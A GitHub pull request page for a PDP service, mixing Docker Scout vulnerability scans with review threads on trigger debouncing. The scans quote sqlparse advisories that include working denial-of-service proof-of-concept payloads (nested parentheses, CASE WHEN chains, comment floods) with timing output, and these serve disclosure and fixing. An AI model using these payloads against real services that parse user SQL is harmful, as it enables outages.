opentelemetry-go GHSA-mh2q-q3fh-2475
opentelemetry-dotnet GHSA-g94r-2vxg-569j

critical: 0 high: 0 medium: 1 low: 0 busybox 1.37.0-r30 (apk)

pkg:apk/alpine/busybox@1.37.0-r30?os_name=alpine&os_version=3.23

medium : CVE--2025--60876

Affected range<=1.37.0-r30
Fixed versionNot Fixed
EPSS Score0.291%
EPSS Percentile22nd percentile
Description
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1golang.org/x/crypto 0.53.0 (golang)

pkg:golang/golang.org/x/crypto@0.53.0

unspecified : GO--2026--5932

Affected range>=0
Fixed versionNot Fixed
Description

The golang.org/x/crypto/openpgp package is unsafe by design, has numerous known security issues, is not maintained, and should not be used.

If you are required to interoperate with OpenPGP systems and need a maintained package, consider github.com/ProtonMail/go-crypto/openpgp which is a maintained fork that aims to be a drop-in replacement for this package.

@github-actions

github-actions Bot commented Jul 14, 2026

Copy link
Copy Markdown

🔍 Vulnerabilities of permitio/pdp-v2:next

📦 Image Reference permitio/pdp-v2:next
digestsha256:fb3d58cf272e1caa2c503409a0ceb3388342757744514104479261c4e4c33c42
vulnerabilitiescritical: 0 high: 2 medium: 0 low: 0
platformlinux/amd64
size133 MB
packages248
📦 Base Image python:3.13-alpine3.23
also known as
  • 3.13.15-alpine3.23
  • 3595881807616fb0ca649f5a5d1b280cecbb93891e92539c4ccae1282ab84293
digestsha256:0306b86d5dbbf72135e5e0fcd630005f339b0050b2a2aa5a3946567b14fe0efe
vulnerabilitiescritical: 0 high: 5 medium: 2 low: 0
critical: 0 high: 2 medium: 0 low: 0 sqlparse 0.5.5 (pypi)

pkg:pypi/sqlparse@0.5.5

high 8.7: CVE--2026--71491 Uncontrolled Resource Consumption

Affected range<=0.5.5
Fixed version0.6.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Description

Summary

A comment-only statement (-- c\n*n) may cause a Denial of Service (DoS).

Details

Location: sqlparse/engine/grouping.py:331-341 (group_comments), invoked first in group() at grouping.py:439. Reachable via sqlparse.parse() and sqlparse.format(sql, strip_comments=True).

A statement made of many single-line comments ('-- c\n' repeated) lexes in O(n) but group_comments is O(n²):

def group_comments(tlist):
    tidx, token = tlist.token_next_by(t=T.Comment)
    while token:
        eidx, end = tlist.token_not_matching(
            lambda tk: imt(tk, t=T.Comment) or tk.is_newline, idx=tidx)
        ...
        tidx, token = tlist.token_next_by(t=T.Comment, idx=tidx)

The while loop runs n times and each token_next_by / token_not_matching rescans the O(n) remaining tokens. When all tokens are comments/newlines nothing ever groups, yet the full scan is repeated per token.

Two following factors increase the severity:

  1. group_comments runs first in group() (grouping.py:439), before the _group_matching token-count guard (grouping.py:34-39). So the entire quadratic cost is paid even on oversized input. MAX_GROUPING_TOKENS does not provide protection on this vector.
  2. It sits on the primary sanitizer path: format(sql, strip_comments=True), used by query loggers, SQL firewalls, ORMs, and migration tools.

PoC

Tested using Python 3.14:

import time, sqlparse
for n in (1000, 2000, 4000):
    s = "-- c\n" * n
    t = time.perf_counter()
    sqlparse.format(s, strip_comments=True)
    print(f"n={n:5d}  format(strip_comments)={1000*(time.perf_counter()-t):7.1f} ms")

Output:

n= 1000  format(strip_comments)=  106.0 ms
n= 2000  format(strip_comments)=  403.3 ms
n= 4000  format(strip_comments)= 1602.8 ms

Time increase of ~4× per 2× input (quadratic). parse() shows the identical curve. Instrumented scan counts are exactly 1.0M / 4.0M / 16.0M tokens for n=1000/2000/4000. A ~250 KB comment-only payload forces minutes of CPU regardless of the 10000 token cap.

Impact

Denial of Service

high 8.7: CVE--2026--54284 Inefficient Regular Expression Complexity

Affected range<=0.5.5
Fixed version0.6.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Description

Summary

sqlparse ships hard limits (MAX_GROUPING_DEPTH=100, MAX_GROUPING_TOKENS=10000) intended to bound parsing work on attacker-supplied SQL, but the path that reaches those limits is itself O(n*depth) per token-group construction. A ~1-2 KB SQL payload (e.g. SELECT (((((1))))) ... with 500-2000 nesting levels, or a 200-400-level nested CASE WHEN chain) drives the parser to spend multiple seconds of CPU before the depth cap raises SQLParseError. Concretely: a 2 KB malicious payload consumes ~10 seconds of CPU per request on a single worker (~5000x CPU-to-input amplification), while a benign 1 KB SQL completes in ~3 ms.

The root cause is TokenList.__init__ calling super().__init__(None, str(self)). TokenList.__str__ flattens the entire subtree on every call, and grouping constructs a new TokenList for every parenthesis / CASE / list group, so a tree of depth d with n total tokens performs O(n*d) flatten work just to materialize the cached value field, which is then never read for grouped nodes (they override __str__).

This is a distinct quadratic from the input-size caps added in GHSA-2m57-hf25-phgg / GHSA-27jp-wm6q-gp25: those caps prevent unbounded work, but the time required to trigger the caps is itself superlinear in payload size.

Affected components

sqlparse 0.5.5 (latest) and every prior version that ships TokenList.__init__. The offending line has existed since the introduction of the cached-value invariant; the recent DoS-protection commit (da67ac1, 2025-12-08) added depth + token caps to _group_matching / _group but left the per-node str(self) materialization untouched.

Vulnerable code (file:line)

sqlparse/sql.py#L162 (release 0.5.5) / sqlparse/sql.py#L167 (current master):

class TokenList(Token):
    __slots__ = 'tokens'

    def __init__(self, tokens=None):
        self.tokens = tokens or []
        [setattr(token, 'parent', self) for token in self.tokens]
        super().__init__(None, str(self))   # ← O(subtree) work per group
        self.is_group = True

    def __str__(self):
        return ''.join(token.value for token in self.flatten())

__str__ recurses via flatten() over the entire subtree below self. Every TokenList constructed during grouping (every Parenthesis, Case, IdentifierList, etc.) runs this on its current children, which themselves recursively call flatten(). For grouping that builds a tree of depth d containing n tokens, the construction cost is O(n * d).

The grouping pipeline that triggers it lives at sqlparse/engine/grouping.py#L80 (group_parenthesis) and sqlparse/engine/grouping.py#L84 (group_case). Both call _group_matching which builds nested Parenthesis / Case TokenList instances bottom-up.

Reachable / How input reaches the sink

sqlparse.parse(sql), sqlparse.format(sql, reindent=True), and sqlparse.split(sql) are the documented entry points and all flow into engine/filter_stack.py:runengine/grouping.py:groupgroup_parenthesis / group_case. There is no opt-in flag: the quadratic runs on default configuration whenever attacker-controlled SQL contains nested parentheses, nested CASE WHEN, nested subqueries, or nested ARRAY[] literals.

Real-world consumers that feed user input directly into these entry points include any SQL formatter web service (the sqlformat.org-style class of tools), Django's format_debug_sql (django/db/backends/base/operations.py) used when a debug toolbar shows user-typed SQL, and downstream metadata libraries such as sql-metadata (Parser(sql).columns triggers the same O(n*d) path and reproduces the multi-second hang on the same inputs).

Proof of concept

Minimal in-process reproduction (sqlparse 0.5.5, default settings, no caps overridden):

import sqlparse, time, signal

def _h(s, f): raise TimeoutError()
signal.signal(signal.SIGALRM, _h)

def measure(label, sql, fn):
    signal.alarm(30)
    t0 = time.perf_counter()
    status = 'OK'
    try:
        fn(sql)
    except sqlparse.exceptions.SQLParseError:
        status = 'CAP'
    except TimeoutError:
        status = 'TIMEOUT'
    finally:
        signal.alarm(0)
    dt = (time.perf_counter() - t0) * 1000
    print(f'  {status:8} {dt:8.1f}ms  {label}  ({len(sql)} B)')

# Vector 1: deeply nested parentheses
for n in (200, 500, 1000, 2000):
    sql = 'SELECT ' + '(' * n + '1' + ')' * n
    measure(f'nested-paren n={n}', sql, sqlparse.parse)

# Vector 2: deeply nested CASE WHEN
for n in (100, 200, 400):
    case = '1'
    for i in range(n):
        case = f'CASE WHEN x={i} THEN {case} ELSE NULL END'
    measure(f'CASE-nested n={n}', f'SELECT {case} FROM t', sqlparse.parse)

Output on the reporter's machine (Python 3.9, sqlparse 0.5.5, single core):

  CAP         80.7ms  nested-paren n=200  (408 B)
  CAP       1342.9ms  nested-paren n=500  (1008 B)
  CAP      11206.9ms  nested-paren n=1000  (2008 B)
  TIMEOUT  >10000ms   nested-paren n=2000  (4008 B)
  CAP         83.1ms  CASE-nested n=100  (3405 B)
  CAP        559.6ms  CASE-nested n=200  (6905 B)
  CAP       5012.2ms  CASE-nested n=400  (13905 B)

cProfile attribution (nested-paren n=500, 1008 B input, 3.1 s total):

ncalls   cumtime  filename:lineno(function)
   501    3.133   sqlparse/sql.py:165(__str__)
   501    3.127   {method 'join' of 'str' objects}
252504    3.110   sqlparse/sql.py:166(<genexpr>)
42168504 3.079   sqlparse/sql.py:207(flatten)

42 million flatten() calls for a 1 KB input. The cap raises at depth 100, but TokenList.__init__ ran str(self) once per group construction and each call walked the partial subtree.

End-to-end reproduction (against running consumer)

victim_app.py (a 50-line Flask formatter, the canonical sqlparse consumer pattern):

from flask import Flask, request, jsonify
import sqlparse, time
app = Flask(__name__)

@<!-- -->app.route('/parse', methods=['POST'])
def parse_sql():
    sql = request.get_data(as_text=True)
    t0 = time.perf_counter()
    try:
        sqlparse.parse(sql)
        return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)*1000, 1)})
    except sqlparse.exceptions.SQLParseError as e:
        return jsonify({'ok': False, 'parse_ms': round((time.perf_counter()-t0)*1000, 1), 'error': str(e)}), 400

@<!-- -->app.route('/format', methods=['POST'])
def format_sql():
    sql = request.get_data(as_text=True)
    t0 = time.perf_counter()
    formatted = sqlparse.format(sql, reindent=True, keyword_case='upper')
    return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)*1000, 1), 'len': len(formatted)})

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5099, threaded=False)

Driver run (Python 3.9, sqlparse 0.5.5, threaded=False so one worker per request):

=== Baseline (benign payloads) ===
  benign small SQL                              8B  wire=    8.8ms  server=     0.2ms
  benign 1 KB SQL                             220B  wire=    4.1ms  server=     2.5ms
  benign flat 500-cols                       2902B  wire=   91.7ms  server=    90.2ms

=== Malicious payloads (within default caps) ===
  nested-paren n=200                          408B  wire=   84.0ms  server=    82.6ms  ok=False
  nested-paren n=500                         1008B  wire= 1371.9ms  server=  1370.5ms  ok=False
  nested-paren n=1000                        2008B  wire=10335.3ms  server=10333.7ms  ok=False
  nested-paren n=2000                        4008B  wire=10661.4ms  server=10659.6ms  ok=False
  CASE-nested n=400                         13905B  wire= 5136.4ms  server= 5134.7ms  ok=False
  IN-tuple-format n=1000                     9922B  wire= 3852.8ms  server=  3851.2ms  ok=True

A 2 KB payload (nested-paren n=1000) pins one worker for 10 seconds at 100% CPU. With gunicorn -w N deploying the same app, N concurrent malicious requests exhaust every worker and bring the service down. The cap SQLParseError exception is delivered to the caller, but only after the CPU work is already burnt.

Impact

  • Single-threaded service: 1-2 KB payload locks the worker for 1-10 seconds (CWE-1333 / CWE-405 / CWE-400 — uncontrolled resource consumption).
  • Multi-worker service: attacker sends N parallel requests, exhausts the worker pool.
  • Wire-to-CPU amplification on the worst vector: ~5000x (2 KB request → 10 seconds CPU).
  • Downstream library impact: sql-metadata.Parser(sql).columns calls sqlparse.parse internally and inherits the exact same hang (nested-paren n=1000 → 11.3 s).

Suggested fix

Replace the eager str(self) materialization with a single-pass concatenation of children's already-cached value fields. The Token.value invariant value == str(self) at construction is preserved (children's value is itself built the same way bottom-up), but the per-node cost drops from O(subtree) to O(len(self.tokens)):

def __init__(self, tokens=None):
    self.tokens = tokens or []
    [setattr(token, 'parent', self) for token in self.tokens]
    # Avoid materializing the full subtree via str(self): concatenating
    # children's already-cached `value` is O(len(tokens)) per group,
    # whereas str(self) recursively flattens the entire subtree which is
    # O(subtree) per node and turns nested grouping into O(n * depth).
    super().__init__(None, ''.join(token.value for token in self.tokens))
    self.is_group = True

Measured against the 0.5.5 source tree with the patch applied locally and the full existing test-suite running (479 passed, 2 xfailed, 1 xpassed; the same baseline as unpatched 0d24023):

Vector Before fix After fix Speedup
nested-paren n=500 1336 ms 11 ms 121x
nested-paren n=1000 11206 ms 22 ms 509x
nested-paren n=2000 TIMEOUT (>10 s) 45 ms 220x+
CASE-nested n=200 559 ms 25 ms 22x
CASE-nested n=500 TIMEOUT (>10 s) 61 ms 160x+
benign 1 KB SQL 3 ms 3 ms unchanged

End-to-end Flask victim_app re-run against the patched library:

  nested-paren n=1000                        2008B  server=    34.6ms
  nested-paren n=2000                        4008B  server=    67.2ms
  CASE-nested n=400                         13905B  server=    49.5ms
  benign 1 KB SQL                             220B  server=     3.4ms

The IN-tuple format() vector observed at n=1000 (3.8 s for ~10 KB input) is a separate quadratic in the reindent filter (filters/reindent.py:_get_offset_flatten_up_to_token) and is not covered by this advisory; please consider it as a follow-up if the maintainer would like a separate report.

Fix PR

A fix PR against the temp private fork, mirroring the diff above with a regression test (test_nested_paren_within_cap_under_50ms), is attached and linked from this advisory.

Credit

Reported by tonghuaroot.

Copilot AI left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR adds per-updater debouncing/coalescing to the PDP’s forced-reload trigger endpoints to prevent authenticated callers (or buggy SDKs) from repeatedly forcing full control-plane repulls, and replaces OPAL’s trigger-route handlers with PDP-owned gated/debounced equivalents.

Changes:

  • Introduces a DebouncedTrigger utility to coalesce trigger calls within a configurable window and while a reload is in-flight.
  • Replaces OPAL-mounted POST /policy-updater/trigger and POST /data-updater/trigger routes with PDP-owned, enforce_pdp_token-gated, debounced handlers; legacy aliases share the same debouncers.
  • Adds TRIGGER_DEBOUNCE_SECONDS configuration (remote-config overridable) and new end-to-end behavior tests for coalescing semantics.

Reviewed changes

Copilot reviewed 6 out of 6 changed files in this pull request and generated 1 comment.

Show a summary per file
File Description
horizon/debounce.py Adds the debouncing/coalescing state machine for trigger calls (window + in-flight guard).
horizon/pdp.py Removes OPAL trigger routes and re-registers PDP-owned debounced/gated replacements; wires in per-updater debouncers shared across canonical + legacy aliases.
horizon/config.py Adds TRIGGER_DEBOUNCE_SECONDS (default 10s, 0 disables) to control debounce behavior.
horizon/tests/test_trigger_debounce.py New integration-style tests validating within-window and in-flight coalescing, failure semantics, 0 disables, and canonical/legacy sharing.
horizon/tests/test_route_auth_audit.py Updates regression message to reflect the new route replacement functions.
horizon/tests/test_opal_trigger_auth.py Updates documentation to reflect route replacement (vs dependency injection).

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comment thread horizon/tests/test_trigger_debounce.py Outdated
dshoen619 and others added 3 commits July 15, 2026 10:50
…lias)

Addresses Copilot review comment on PR #327.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
@dshoen619
dshoen619 marked this pull request as ready for review August 4, 2026 14:21
…R-15248)

Review of the initial implementation found that three of DebouncedTrigger's
documented invariants were false against OPAL's real behaviour, because both
updaters are fire-and-forget underneath: trigger_update_policy is a single put
onto an unbounded asyncio.Queue whose consumer swallows exceptions, and
get_base_policy_data awaits only a config GET before handing the per-entry
fetches to a task pool. So `await run()` returns on DISPATCH, not completion.

Corrections:

- _last_fired -> _last_dispatched, and the "a failed pull does not burn the
  window" guarantee is removed. It was never achievable at this layer: a reload
  that fails in a background task still consumes the window.
- The in-flight guard no longer claims to cover multi-minute pulls, and is now
  unconditional - window_seconds <= 0 disables only the time window, never the
  single-flight property.
- Trailing edge: a trigger coalesced by the in-flight guard now causes exactly
  one follow-up dispatch, so it is not silently dropped. Capped at two
  dispatches per call so a sustained hammer cannot become a reload loop.
  Trailing failures are logged and swallowed - the caller executing the re-run
  already had its own dispatch succeed and must not be handed someone else's
  500. A trigger coalesced into a failed dispatch stays pending instead of
  being discarded.
- The /data-updater/trigger docstring claimed a 200 previously meant the fetch
  had COMPLETED. It never did; corrected.

Also:

- Routes return {"status": "ok", "triggered": bool} so callers and metrics can
  distinguish a dispatch from a coalesce. Documented that `false` is a success
  and must not be retried, since retrying re-creates the amplification this
  change exists to dampen.
- Handler docstrings were being published as the operation description in the
  customer-facing /openapi.json and /scalar explorer, leaking internal notes
  including "replaces OpalClient's ungated handler". Replaced with explicit
  summary=/description= written for that audience.
- TRIGGER_DEBOUNCE_SECONDS is clamped to [0, 300] and the effective value is
  logged at startup. clamp_window coerces defensively rather than raising:
  confi.float's cast_from_json is no_cast, so a remote-config override arrives
  verbatim, and null or "30" would otherwise abort startup.
- Coalesce logging is INFO on the first suppression per dispatch and DEBUG
  thereafter, so the mitigation does not amplify log volume under the exact
  hammering it absorbs.
- Config description corrected: the restart requirement comes from remote
  config being fetched once at startup, not from the window being read once.

Tests: new test_debounce_unit.py covers DebouncedTrigger directly (burst
collapse, cancellation, trailing edge, clamp_window edges, coalesce logging).
Route-audit now asserts exactly one route per trigger path and PDP ownership,
which the previous last-wins dict lookup could not catch. test_opal_trigger_auth
gets an autouse fixture so per-instance debounce state cannot leak between tests
in that module. 155 passed; ruff check and format clean.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
@dshoen619
dshoen619 requested a review from zeevmoney August 10, 2026 21:01
dshoen619 added a commit that referenced this pull request Aug 11, 2026
)

Docker Scout began flagging two HIGH CVEs in cryptography 48.0.1 on
2026-08-04, turning docker-scout red on every open PR (#326, #327) and on
main. Neither is caused by any code change - the pin has been
cryptography>=48.0.1,<49 since #318.

  CVE-2026-69249  CVSS 8.7  fixed in 49.0.0
  CVE-2026-69247  CVSS 8.2  affects >=44.0.0, fixed only in 50.0.0
                            (Observable Timing Discrepancy)

Clearing both requires 50.0.0, so the floor moves past our own <49 major
cap. Nothing external bounds cryptography: opal-common 0.9.6 requires it
unpinned and its pyjwt[crypto]<3,>=2.4.0 carries no upper bound, so the
new <51 cap is ours - it keeps a major out of an image build that has no
lockfile, same reasoning as the websockets pin.

musllinux_1_2 cp311-abi3 wheels are published for x86_64 and aarch64, so
the alpine image keeps installing a prebuilt wheel and still needs no
Rust toolchain.

No VEX changes: both CVEs are fixable by upgrade, so neither needs a
waiver in .docker/scout/pdp-v2.vex.json.

Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>

@zeevmoney zeevmoney left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Approved — no CRITICAL or HIGH issues found.

Non-blocking:

  • MEDIUM horizon/debounce.py:162 — Debounce window is consumed only by successful dispatches, so a failing control plane is unthrottled
  • MEDIUM horizon/debounce.py:165 — Trailing-edge reload runs inside another caller's request, doubling its worst-case latency
  • MEDIUM horizon/pdp.py:590 — Window-coalesced triggers are dropped, but the endpoint tells clients not to retry
  • LOW horizon/debounce.py:161 — In-flight guard has no timeout: one stalled control-plane GET silently no-ops every trigger
  • LOW horizon/pdp.py:530 — Unparseable remote-config value silently disables debouncing; valid string values log a false warning
  • LOW horizon/pdp.py:578 — New triggered field is undeclared in OpenAPI: schema is empty for all four routes
  • LOW horizon/pdp.py:600 — PR description contradicts the shipped code on the response body and the window semantics

Details are in the inline comments on each line.

Comment thread horizon/debounce.py Outdated
self._pending = False
try:
await run()
self._last_dispatched = time.monotonic()

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[MEDIUM] Debounce window is consumed only by successful dispatches, so a failing control plane is unthrottled

Problem: self._last_dispatched = time.monotonic() is inside the try at line 160, on the line AFTER await run(). When run() raises, the assignment is skipped, the window is never consumed, and the very next request dispatches again immediately. An anti-amplification control that counts successes instead of attempts provides no damping exactly when the dependency is failing.

This is reachable on the expensive route. _debounced_data_reload (horizon/pdp.py:660) calls DataUpdater.get_base_policy_data, which calls get_policy_data_config — and that function raises ClientError on any non-200 from the control plane (opal_client/data/updater.py:244-249). So under a degraded or 5xx-ing control plane — the scenario config.py:301-302 names as the reason to raise this window — every trigger dispatches a fresh control-plane GET. Only the unconditional in-flight guard remains, which throttles to 1/latency: if the control plane rejects fast (a 503 in a few ms), a single retrying client sustains hundreds of GETs per second from one PDP, multiplied across the fleet.

The exception also propagates out of the handler as a 500 (there is no try/except around await self._debounced_data_reload(...) at horizon/pdp.py:627), which is the one status code SDK and service-mesh retry logic does retry on. So the failure mode actively recruits clients into the retry storm, while a coalesced success is documented as "do not retry".

The module docstring at lines 31-33 asserts "_last_dispatched is a DISPATCH timestamp... There is no 'only on success' guarantee" — true for background failures, but the foreground path implemented here IS only-on-success, and test_trigger_debounce.py:266-270 plus test_debounce_unit.py:381-392 pin that behaviour (assert get_base.await_count == 2 after two consecutive failures).

Suggestion: Record the attempt, not the outcome: stamp _last_dispatched before await run() (or in a finally/except as well), so a failing dispatch still consumes the window. Keep the fast-retry-on-failure behaviour only if it is bounded — e.g. a separate, much shorter failure window (1-2s) — and update the two tests that currently assert the unthrottled behaviour. Also consider mapping the ClientError to a 503 with Retry-After rather than a bare 500, so client retry logic backs off instead of hammering.

Example:

# horizon/debounce.py
        self._in_flight = True
        self._in_flight_since = time.monotonic()
        self._pending = False
        try:
            await run()
            self._log_dispatched()
            if self._pending:
                await self._run_trailing(run)
            return True
        finally:
            # the window is consumed by the ATTEMPT: a control plane that is
            # rejecting must not disable the damping it most needs.
            self._last_dispatched = time.monotonic()
            self._in_flight = False
            self._in_flight_since = None

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in 2b3be4b — you're right, and I'd add that the direction of the failure made it worse than "no damping": it was anti-damping, since the only condition that consumed the window was the one where damping mattered least.

_last_dispatched is now stamped in a finally, so the attempt consumes the window. I went with the plain version rather than a separate short failure window — a second knob whose only job is to let a failing control plane be hit more often seemed like the wrong thing to add to a mitigation — with one exception: CancelledError does not stamp. A cancelled dispatch was abandoned rather than made, so the control plane was not necessarily asked, and on shutdown there is nobody left to serve a follow-up.

This does not ship alone, though. On its own it converts a hard failure into a lying 200 {"triggered": false} on the retry — the window is consumed by a reload that never happened and, under the old drop semantics, never would. So it lands together with the window-path trailing edge from your pdp.py:590 comment: the coalesce now arms a real retry at window expiry, which is what makes that 200 honest.

Also took the Retry-After suggestion, and went to 502/504 rather than 503. /data-updater/trigger already returns 503 for "data updater is disabled" — a config state where retrying never helps — so overloading it would leave a client unable to tell "back off ten seconds" from "stop forever". 502/504 also matches what this codebase already does for an upstream failure in horizon/enforcer/api.py ("502 indicates server got an error from another server"). Retry-After is the window itself, since the failed attempt just consumed it and anything sooner is provably going to be coalesced.

Both tests you named are rewritten: test_a_run_that_raises_consumes_the_window and test_control_plane_failure_502s_and_consumes_the_window. The module docstring's "there is no 'only on success' guarantee" claim is reworded — it was describing background failures correctly while the foreground path did the opposite.

Comment thread horizon/debounce.py Outdated
self._last_dispatched = time.monotonic()
self._log_dispatched()
if self._pending:
await self._run_trailing(run)

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[MEDIUM] Trailing-edge reload runs inside another caller's request, doubling its worst-case latency

Problem: _run_trailing is awaited inline at horizon/debounce.py:165, still inside the HTTP request of whichever caller happened to win the dispatch. That caller now pays for a second full reload it never asked for, serving triggers issued by other clients. On the data route the cost is real: run resolves to get_base_policy_data (horizon/pdp.py:664), which awaits _stop_polling_update_tasks() and a data-source config GET whose aiohttp timeout falls back to the 5-minute default — a fact the module docstring itself calls out at horizon/debounce.py:41-45 as the reason the in-flight guard is needed. Doubling that lands against a hard ceiling: the Rust server fronting horizon uses a 60s client timeout (pdp-server/src/config/mod.rs:95) and proxies opaquely (pdp-server/src/api/horizon_fallback.rs:14), so the dispatching caller can be timed out at the proxy for work it did not request, while the reload continues server-side (uvicorn does not cancel the handler on client disconnect). The client then sees a failure for a request that actually succeeded and retries — feeding exactly the load-amplification loop this PR exists to break, and doing it under the degraded-control-plane conditions the feature targets. It also makes the second _stop_polling_update_tasks() cancel the periodic tasks the first run had just created, churning them for no benefit.

Suggestion: Move the trailing run off the request path. Have the debouncer own it as a task (self._trailing_task = asyncio.create_task(...)) with a stored handle so shutdown can cancel it and a completed handle can be cleared, keeping the existing 'at most one trailing run' cap by refusing to schedule when _trailing_task is live. The dispatching caller then returns as soon as its own dispatch is handed off, which is what its 200 already means. If keeping it inline, at minimum bound it (asyncio.wait_for) so one caller's request cannot be extended without limit by other callers' triggers.

Example:

# horizon/debounce.py
            await run()
            self._last_dispatched = time.monotonic()
            self._log_dispatched()
            if self._pending and self._trailing_task is None:
                # Off the request path: the caller's own dispatch is done, and it
                # must not be billed for triggers other callers issued.
                self._trailing_task = asyncio.create_task(self._run_trailing(run))
                self._trailing_task.add_done_callback(lambda _: setattr(self, "_trailing_task", None))
            return True

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in 2b3be4b, as asyncio.create_task with a stored handle, per your suggestion.

The handle does double duty, which resolved a race I hit on the first attempt: _trailing_task is now part of guard 1 (if self._in_flight or self._trailing_task is not None), not just a cancellation handle. Without that, there is a real gap — the dispatch's finally clears _in_flight, and a trigger arriving before the task gets its first step would start a second concurrent pull. Arming sets the handle before _in_flight is cleared, with no await between, so the two guards hand off atomically. Both finally blocks are now await-free by invariant, and there's a comment saying so, because that's what the whole no-overlap argument rests on.

Lifecycle came out to try/finally plus add_done_callback. The finally gives the deterministic clear-and-chain; the callback covers the one case the coroutine cannot — a task cancelled before its first step never runs its body at all, which would leave the handle set forever and coalesce every future trigger. That's a permanent wedge, so it has its own test. aclose() is wired to app.on_event("shutdown") next to stats_manager.stop_tasks.

One bug I found writing this, worth flagging since it's the shutdown path: cancellation during the trailing run's wait bypassed the inner except CancelledError, so cancelled stayed False and the outer finally armed a replacement task mid-teardown. That's the common aclose() shape — the task is usually waiting out the window, not dispatching — and _pending is still set there. test_aclose_during_the_trailing_wait_does_not_arm_a_replacement fails without the fix (leaves a fresh pending task).

On the second _stop_polling_update_tasks() churn you mention: also improved, and for a slightly different reason — the trailing run now waits out the remainder of the window rather than firing immediately, so back-to-back full pulls are gone entirely.

Comment thread horizon/pdp.py Outdated
"is currently in flight, this call is absorbed into it. Returns 200 either way; "
"`triggered` reports whether this call started a reload (`true`) or was coalesced "
"into an existing one (`false`). **`false` is a success, not a failure - do not "
"retry on it.** It means a reload covering your request is already happening; "

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[MEDIUM] Window-coalesced triggers are dropped, but the endpoint tells clients not to retry

Problem: The two guards behave differently, and only one of them is honest about it. The in-flight guard arms a trailing edge (self._pending = True, horizon/debounce.py:134) precisely because dropping a coalesced trigger would lose the caller's change. The window guard does not: horizon/debounce.py:140-146 logs and return False without arming anything, and there is no timer anywhere in the module (grep for create_task/call_later/sleep in horizon/debounce.py returns nothing; the class docstring concedes at line 96 that it 'never schedules future work'). So a trigger arriving 1ms after a dispatch completes is discarded outright, and the reload it was 'absorbed into' already read the control plane BEFORE the caller's write landed. Nothing re-runs it: opal-client 0.9.6 has no periodic full-refresh cadence (the PR description itself notes the PDP is pubsub-driven), so the only recovery is another trigger. The shipped, customer-facing OpenAPI description then instructs callers not to do that: 'false is a success, not a failure - do not retry on it. It means a reload covering your request is already happening; retrying only adds load to the control plane.' For the window path no reload is happening at all, and it does not cover the request. A client that follows the documented guidance loses the refresh permanently. The internal docstring makes the same false claim in stronger terms — horizon/debounce.py:83-84 asserts 'staleness is bounded by window_seconds by construction, which is the entire point of the knob' — which is only true if a follow-up eventually fires, and none does. This is also the exact risk PER-15248 called out ('must not debounce so aggressively that a legitimately-needed reload is dropped'); the no-op behaviour itself is sanctioned by the issue, but the guarantee advertised on top of it is not.

Suggestion: Pick one and make code and prose agree. Either (a) arm the trailing edge on the window path too — set _pending at horizon/debounce.py:145 and have the debouncer own a background task that fires at _last_dispatched + window_seconds, which is what makes 'staleness bounded by window_seconds' actually true; or (b) keep the drop and fix both texts: delete 'do not retry on it' and the 'a reload covering your request is already happening' sentence from horizon/pdp.py:589-591 and :613-614, replacing them with something the code backs, e.g. 'a reload dispatched within the last PDP_TRIGGER_DEBOUNCE_SECONDS covers requests made before it started; if you need a reload for a change made after that, retry once the window has elapsed.' Then correct horizon/debounce.py:83-84 to say the window path drops the trigger with no follow-up.

Example:

# horizon/debounce.py — option (a), the version that makes the docstring true
        if window_seconds > 0 and self._last_dispatched is not None:
            elapsed = time.monotonic() - self._last_dispatched
            if elapsed < window_seconds:
                self._note_coalesced(...)
                # A window-coalesced trigger is NOT covered by the dispatch it
                # collapsed into - that one already read the control plane. Schedule
                # the follow-up so staleness really is bounded by window_seconds.
                self._arm_trailing_timer(run, delay=window_seconds - elapsed)
                return False

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in 2b3be4b — took option (a), so the docstring's claim becomes true rather than getting deleted.

What decided it was running the numbers on load, since "(a) costs more control-plane traffic" was the only real argument for (b). It doesn't. The timer fires at _last_dispatched + window and goes through trigger() itself, so its dispatch is the next window's leading dispatch:

(b) drop (a) trailing timer
sustained hammer 1 leading + 1 in-flight trailing = 2 per window 1 timer-leading + 1 in-flight trailing = 2 per window
burst of 3, then silence 1 total (2 triggers lost forever) 2 total
idle 0 0

Under the abuse case the mitigation exists for, the two are identical — the hammer already guarantees a dispatch at every window boundary; all (a) changes is who initiates it. The only cost is one extra reload per burst-then-silence episode, which is exactly the case where (b) silently loses a legitimate refresh. Given PER-15248's "must not debounce so aggressively that a legitimately-needed reload is dropped", that trade only goes one way. The background-task machinery was needed for your debounce.py:165 comment regardless, so it was mostly sunk cost.

Termination was the thing I had to be careful about — an unconditionally self-re-arming timer would be a standing 1-reload-per-window load on the control plane with nobody asking for anything, strictly worse than the status quo. The invariant: _pending is written True in exactly one place (trigger(), by an inbound caller) and nothing in the trailing path sets it, so chain length is bounded by the number of real triggers and stops one run after they do. test_trailing_edge_chains_while_triggers_keep_arriving_then_stops pins both halves.

